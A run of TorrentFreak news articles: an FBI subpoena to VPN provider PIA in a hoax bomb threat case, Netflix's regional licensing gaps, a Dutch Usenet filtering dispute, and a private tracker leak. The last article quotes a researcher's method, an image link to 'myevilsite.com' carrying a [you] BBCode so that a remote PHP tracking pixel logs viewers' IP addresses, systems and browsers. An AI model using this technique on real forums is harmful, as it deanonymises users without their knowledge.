<p>This kind of setup is clearly self-defeating from a privacy perspective so in recent years it has become common for VPN providers to disclose their logging practices, as detailed in our <a href="https://torrentfreak.com/vpn-anonymous-review-160220/">annual report</a>, for example.</p>
<p>But still, the big question remains: how can a prospective customer be sure that their VPN provider really keeps no logs? In reality the answer to that question is largely a matter of trust, weighed up against the goodwill the company has built up over its time in business. </p>
<p>That being said, an interesting case that appeared in a Florida district court this week has seen one provider&#8217;s no-logging policy being officially tested.</p>
<p>The criminal complaint (<a href="http://www.scribd.com/doc/303226103/Fake-bomb-threat-arrest">here</a>) details the FBI&#8217;s suspicions that 25-year-old Preston McWaters had conveyed &#8220;false or misleading information regarding an explosive device&#8221;. In other words, he made a false bomb threat.</p>
<p>The investigating FBI agent goes into some detail on the case, which begins with claims that McWaters stalked former co-worker Devon Kenney by calling her, texting her, sending her messages on Facebook and showing up at her house. In all, it&#8217;s estimated that McWaters contacted his former co-worker more than 100 times.</p>
<p>In December a number of hoax bomb threats were sent to a variety of locations including schools and airports, generally in the name of Eric Mead or a variation thereof, via Twitter and email. Eric Mead is the name of Kenney&#8217;s current boyfriend and he denies making any of the threats.</p>
<p>So the FBI started digging and in February 2016 two search warrants against Twitter and Facebook required them to turn over information on several accounts. Both did and the criminal complaint makes it clear that the FBI believes that McWaters was behind the accounts and the threats.</p>
<p>With McWaters apparently leaving incriminating evidence all over the place (including CCTV at Walmart where he allegedly purchased a <a href="http://www.tracfone.com/">pre-paid Tracfone</a> after arriving in his own car), the FBI turned to IP address evidence available elsewhere.</p>
<p>&#8220;During the course of the investigation, subpoenas and search warrants have been<br>
directed to various companies in an attempt to identify the internet protocol (IP) address from where the email messages are being sent,&#8221; the complaint reads.</p>
<p>&#8220;All of the responses from [email provider] 1&#038;1, Facebook, Twitter, and Tracfone have been traced by IP address back to a company named London Trust Media [doing business as] PrivateInternetAccess.com.&#8221;</p>
<p>By this point in the complaint it&#8217;s clear that even without the IP address information the FBI already had enough evidence to pin the threats on McWaters. Nevertheless, they ordered PIA to hand over its logs.</p>
<p>&#8220;A subpoena was sent to London Trust Media and the only information they could provide is that the cluster of IP addresses being used was from the east coast of the United States,&#8221; the FBI&#8217;s complaint reads.</p>
<p>&#8220;However, London Trust did provide that they accept payment for their services through credit card with a vendor company of Stripe and/or Amazon. They also accept forms of payment online through PayPal, Bitpay, Bit Coin, Cash You, Ripple, Ok Pay, and Pay Garden.&#8221;</p>
<p>In the event the FBI was unable to link McWaters to any payment to the company. However, they did find a payment to another provider.</p>
<p>&#8220;Although the investigation has not revealed any payment by McWaters to London Trust, he did make a purchase from AnchorFree Inc [HotspotShield VPN] on October 23, 2015,&#8221; the complaint notes.</p>
<p>While McWaters is yet to be found guilty, it&#8217;s a sad fact that some people will use anonymizing services such as VPNs, pre-paid phones and anonymous email providers to harass others. And thankfully, as this case shows, they&#8217;ll need to hide a lot more than their IP address to get away with that level of crime.</p>
<p>Nevertheless, there are plenty of decent people using services like PIA&#8217;s and those users will be comforted that their privacy remains intact.</p>
<p>&#8220;Our company was subpoenaed by the FBI for user activity logs relating to this matter,&#8221; London Trust Media Executive Chairman Andrew Lee informs TorrentFreak.</p>
<p>&#8220;After scrutinizing the validity of the subpoena and confirming it, we restated as we always do the content of our privacy policy and then we notified the agent that we do not log any user activity.  The agent confirmed his understanding of our company&#8217;s policy and position and then pursued alternative leads.</p>
<p>&#8220;This report makes it clear that PIA does not log user activity and we continue to stand by our commitment to our users.&#8221;</p>
<p>&#8212;</p>
<p><em>Disclosure: PIA is a TorrentFreak sponsor</em></p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=119088
title: Netflix Can’t Stream House of Cards Globally, Blames Licensing Deals
uri: Netflix-Can-t-Stream-House-of-Cards-Globally-Blames-Licensing-Deals
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/aY6j7JuOKZQ/
content:
<p><img src="media/b310fc7c.netflix-logo.png" data-original-source="http://torrentfreak.com/images/netflix-logo.png" alt="netflix-logo" width="200" height="121" class="alignright size-full wp-image-69714">Traditionally the movie industry has relied on geographical licensing deals through which movie and TV-show rights are sold to separate parties in various countries.</p>
<p>As a relative newcomer to the business, Netflix&#8217;s vision is to do things differently. The company&#8217;s aim is to make as much content available globally as it can and is developing several movies and TV-shows in-house to advance this mission. </p>
<p>With this in mind, one would think that geographical copyright restrictions are no longer an issue for Netflix&#8217;s own <a href="https://en.wikipedia.org/wiki/List_of_original_programs_distributed_by_Netflix">original programming</a>, but unfortunately this is not the case.</p>
<p>Last week Netflix released the latest season of House of Cards, something millions of people were looking forward to. However, Netflix subscribers in dozens of countries are not able to watch it, yet, due to licensing issues. </p>
<p>House of Cards fans in Austria, Germany, Switzerland, Spain, Hong Kong, Turkey and most of Africa are among those missing out. They can watch the first seasons, but there&#8217;s no sign of the new episodes. Even worse, in some countries House of Cards <a href="http://unogs.com/video/?v=70178217">isn&#8217;t available at all</a>.</p>
<p>Needless to say, the missing House of Cards episodes are being met with a mixture of surprise and anger online.</p>
<p><center><strong>Missing cards</strong><br></br></center><center><img src="media/81dec597.missingcards.png" data-original-source="http://torrentfreak.com/images/missingcards.png" alt="missingcards" width="578" height="414" class="alignnone size-full wp-image-119255"></center></p>
<p>TorrentFreak reached out to Netflix for an explanation and we were informed that the company doesn&#8217;t have global licences for its drama series House of Cards and Orange Is The New Black. The latter series is entirely absent from Netflix in <a href="http://unogs.com/video/?v=70242311">over 50 countries</a>.</p>
<p>&#8220;Most of our originals content will be available globally. However, with these two earlier shows, we didn’t negotiate global licenses to the content and so they’ve aired on other platforms in the meantime,&#8221; the company states. </p>
<p>&#8220;We may get them back in some of our new markets. For example, we have Orange is the New Black available in our new countries in Asia, with the title coming to the Middle East and Africa later this year,&#8221; Netflix adds.</p>
<p>This situation is quite painful since Netflix has repeatedly <a href="https://torrentfreak.com/netflix-wants-to-make-vpn-piracy-obsolete-150325/">called on</a> the movie industry to offer its content globally, without artificial barriers. Apparently, they haven&#8217;t managed to do this for all of their own content yet. </p>
<p>According to Netflix CEO Reed Hastings the licensing issues are a legacy from the last seven or eight years, which they hope to get rid of in the near future. </p>
<p>&#8220;We’re moving as quickly as we can to have global availability of all the content on Netflix so that there are not regional distinctions. We’re still somewhat a prisoner of the current distribution architecture, we’re trying really hard to get there,” he said.</p>
<p>In the meantime, House of Card fans who live in the wrong country must hold their breath, although many are already looking for alternative means to get what they want&#8230;</p>
<p><center><img src="media/66f070d4.housep.png" data-original-source="http://torrentfreak.com/images/housep.png" alt="housep" width="500" height="177" class="alignnone size-full wp-image-119262"></center><br>
<center><img src="media/e2a2935f.housevpn.png" data-original-source="http://torrentfreak.com/images/housevpn.png" alt="housevpn" width="500" height="154" class="alignnone size-full wp-image-119258"></center> </p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=119109
title: Piracy Keyword Filters for Usenet Don’t Work, Expert Says
uri: Piracy-Keyword-Filters-for-Usenet-Don-t-Work-Expert-Says
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/9uUZzRhDcuU/
content:
<p><img src="media/18851468.usenet.jpg" data-original-source="http://torrentfreak.com/images/usenet.jpg" alt="usenet" width="250" height="168" class="alignright size-medium wp-image-119213">Hollywood-backed anti-piracy group BREIN and Usenet provider News-Service.com have been battling in court for several years already.</p>
<p>BREIN is looking for a ruling that makes keyword filters mandatory on Usenet, but the now defunct Usenet provider argues that this is not feasible. </p>
<p>A final decision in the case was <a href="https://torrentfreak.com/usenet-provider-and-brein-continue-battle-over-piracy-keyword-filter-160309/">delayed again</a> this week. Before it reaches a conclusion, the Dutch court wants both sides to answer detailed questions about the efficacy and costs associated with such a filtering mechanism. </p>
<p>Both parties are allowed to present their own experts to testify on the matter. This could prove to be very interesting, as the Usenet provider is already receiving support from an unexpected quarter. </p>
<p><a href="http://www.iparrow.com/">IP-Arrow</a>, a copyright enforcement company that works with many rightsholders, has just published an <a href="http://www.iparrow.com/why-usenet-keyword-filtering-falls-short/">opinion article</a> arguing against keyword filters. </p>
<p>The company admits that their stance may not be a popular opinion in the industry, but as one of the outfits that specializes in Usenet, they strongly believe that keyword filters are costly and ineffective.</p>
<p>To understand the situation people have to understand the difference between the Usenet servers and the sites that act as indexers. On the indexing sites people search for <a href="https://en.wikipedia.org/wiki/NZB">NZB files</a> that link to movies and music. However, the actual file-names on the Usenet servers are often quite cryptic.  </p>
<p>While these filters may work on Usenet indexing sites, the files on the Usenet servers are often named differently and are therefore harder to filter. Instead of &#8220;<em>JoesMovie.avi</em>,&#8221; the file would be named &#8220;<em>klj37jkhf812jkj11klh66690-132.avi</em>&#8221; for example, or any other non-descriptive name. </p>
<p>&#8220;When we look at an indexing site for filtering, it makes sense because a user is actually looking or seeing “JoesMovie” in a list,&#8221; IP-Arrow&#8217;s Joe explains. &#8220;They are not looking for “klj37jkhf812jkj11klh66690-132” nor do they care what the actual filename is. </p>
<p>&#8220;They grab an NZB or torrent file and start downloading,&#8221; he adds.  </p>
<p>As a result, using automated filters to remove content from Usenet servers is much harder than it looks. According to IP-Arrow these type of filters will therefore fail to deliver.</p>
<p>In theory it might be possible to arrive at a more effective solution, but that would certainly not be automated. Instead, it would require a rather expensive operation comprising of people who continuously scour Usenet for pirated content.</p>
<p>&#8220;This would require a massive database that would need to be updated hourly by live people for all the variations of titles.  To do any filter on this scale would by an extremely expensive project on a level that we have not seen,&#8221; Joe notes.</p>
<p>As one of the most prominent Usenet takedown service providers, IP-Arrow of course has a stake in taking this position. That said, the company does have quite a bit of Usenet expertise on board. </p>
<p>The article cited above is written by Joe Morganelli, who himself operated the Usenet indexer Binnews several years ago. </p>
<p>Morganelli and his site were eventually <a href="https://torrentfreak.com/anti-piracy-boss-ran-a-usenet-site-that-agreed-to-pay-mpaa-15m-damages-121212/">targeted by the MPAA  in 2006</a>. A year later he agreed to a consent judgment which included several million dollars in damages, after he &#8216;switched sides&#8217; and started a content protection outfit.  </p>
<p>If News-Service.com continues their case against BREIN it looks like they might have found an excellent expert witness to argue their case&#8230;</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=119125
title: Private Tracker Member Data Leaked Via BBCode Exploit
uri: Private-Tracker-Member-Data-Leaked-Via-BBCode-Exploit
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/KiY1O_InMqQ/
content:
<p><a href="media/7374ce74.private.jpg" data-original-source="http://feed.torrentfreak.com/images/private.jpg" rel="attachment wp-att-75301"><img src="media/d8ee7766.private.jpg" data-original-source="http://torrentfreak.com/images/private.jpg" alt="private" width="180" height="120" class="alignright size-full wp-image-75301"></a>On a very basic level torrent sites come in two flavors. On the one hand there&#8217;s public sites such as KickassTorrents and Pirate Bay, on the other there are closed communities that tend to stay out of public view.</p>
<p>These closed communities are known as private trackers and they&#8217;re often difficult to gain access to. This is supposed to enhance their security and in many cases indeed does but problems do exist as today&#8217;s news illustrates.</p>
<p>Several weeks ago TorrentFreak was contacted by a security researcher who proposed that we write an article on how law enforcement would be able to uncover crucial information about the operators, staff, uploaders and users of one of the most well-known private trackers.</p>
<p>Several days later our tipster, who told us he has worked in website security for many years, said that he&#8217;d managed to exploit a flaw in the tracker to extract sensitive information about its users.</p>
<p>&#8220;I can identify a user to an IP address. This is useful against owners/staff and uploaders. If I worked for a government organization, I could target the owner of the IP to hand over data,&#8221; he explained. </p>
<p>&#8220;Also I am able to gather browser (and its version) and operation system. If they are running vulnerable versions, [an attacker] could try to target them.&#8221;</p>
<p>At this point the security worker declined our request to identify the site since there was no simple way he could inform them of the issues without risking his membership. However, he was prepared to explain how the exploit worked.</p>
<p>&#8220;The website uses BBCode for forums and private messages (to bold things, insert emoji, and photos),&#8221; he explained.</p>
<p>&#8220;One of the BBCodes this site uses is [you]. If you place this in a forum or a private message it will insert the user&#8217;s logon name, that is viewing the page. If my username was &#8216;Randomusername&#8217;, and someone sent me a private message saying &#8216;Hello [you]!&#8217;, when I opened it, the BBcode would translate to &#8216;Hello Randomusername!'&#8221;</p>
<p>While this sounds harmless enough, there&#8217;s a real sting in the tail. According to the researcher he was able to set up a remote system on a server under his control to extract IP addresses and other information of the people who read postings formatted in this fashion.</p>
<p>&#8220;When you add [you] on the end of an image, you get something like this http://myevilsite.com/photo.php?u=[you].jpg. On this PHP page [on a remote site], you generate a transparent 1 pixel x 1 pixel image. But as it is PHP, you run commands to gather the IP address, gather the OS, and gather the browser and version [of the person viewing it],&#8221; he explained.</p>
<p>&#8220;When people viewed the page, they didn&#8217;t know that a tiny image was stealing their information.&#8221;</p>
<p><center><a href="media/a5f4258c.scc-1aa.png" data-original-source="http://torrentfreak.com/images/scc-1aa.png" rel="attachment wp-att-119188"><img src="media/a5f4258c.scc-1aa.png" data-original-source="http://torrentfreak.com/images/scc-1aa.png" alt="scc-1aa" width="650" height="276" class="aligncenter size-full wp-image-119188"></a></center></p>
<p>And it appears he did manage to extract a considerable amount of sensitive information.</p>
<p>&#8220;The next part was how to get the maximum amount of viewers of my transparent PHP image. So I decided to post in various forums. I also messaged staff and uploaders directly. Once these people viewed the post/message, it would load the transparent image, and I would store all of the above information, which mapped back to their username on the site,&#8221; he explained.</p>
<p>Weeks passed by without TF hearing anything further and without knowing the name of the site we decided to sit on the information. But then, more than a month after first contact we were contacted again, this time with information that confirmed the affected site was popular private tracker SceneAccess.</p>
<p><center><br>
<h5>Part of the code used to extract the data</h5>
<p><a href="media/be5f4eb7.scc-code.png" data-original-source="http://torrentfreak.com/images/scc-code.png" rel="attachment wp-att-119179"><img src="media/be5f4eb7.scc-code.png" data-original-source="http://torrentfreak.com/images/scc-code.png" alt="scc-code" width="624" height="296" class="aligncenter size-full wp-image-119179"></a></center></p>
<p>In the interests of security, TorrentFreak immediately contacted the site&#8217;s staff and informed them of the problems before anyone else could carry out the same exploit. The disclosure would also given the site the opportunity to advise its members of the flaw but at this point it&#8217;s unclear whether it has done so.</p>
<p>Although one can&#8217;t be sure that the exploit hadn&#8217;t already been discovered by someone else, the researcher who contacted us didn&#8217;t appear to have any malice towards the site and expressed no intention of doing anything bad with the data.</p>
<p>&#8220;I am into web application security and I naturally check for ways that could compromise the sites I use. I have done this for my company, my banks and even my torrent sites. I also teach a website hacking class, pretty regularly,&#8221; he explained.</p>
<p>However, the researcher claims that he did manage to get a lot of data which attached usernames to IP addresses, including those of staff and uploaders. It&#8217;s not clear how many had taken precautions to hide their identities on site but the researchers feels not all of them did.</p>
<p>&#8220;From my data not all of them are using VPNs or seed boxes,&#8221; he said.</p>
<p>As can be seen from the somewhat intentionally blurry, heavily redacted and incomplete screenshot below, the database compiled by the researcher is considerable and includes sensitive details of uploaders and staff members.</p>
<p><center><br>
<h5>Some of the data extracted from the site</h5>
<p><a href="media/e1fde399.scc-2.png" data-original-source="http://torrentfreak.com/images/scc-2.png" rel="attachment wp-att-119182"><img src="media/e1fde399.scc-2.png" data-original-source="http://torrentfreak.com/images/scc-2.png" alt="scc-2" width="526" height="231" class="aligncenter size-full wp-image-119182"></a></center></p>
<p>While the vulnerability is easily fixed, the researcher says that other private trackers using the same feature could also be prone to having data extracted in the same manner.</p>
<p>&#8220;Typically the [you] BBCode wouldn&#8217;t be a vulnerability on any average site. But on a private site, that does questionable things, it turns into a vulnerability. I do not know if anyone else has implemented the [you] BBCode, but I do know that it is specifically on the &#8216;NOT going to happen&#8217; list on TorrentBytes,&#8221; he says.</p>
<p>Of course, the limited numbers of people on private trackers means that there is less chance of something like this being exploited. Also, the invite systems on private sites go some way to keeping undesirables out. However, as the researcher notes, these systems aren&#8217;t watertight.</p>
<p>&#8220;Members get invites that they can give or sell to other people. Even though selling is against the rules, people still do it and someone really looking to take them down, wouldn&#8217;t mind spending a couple of bucks,&#8221; he concludes.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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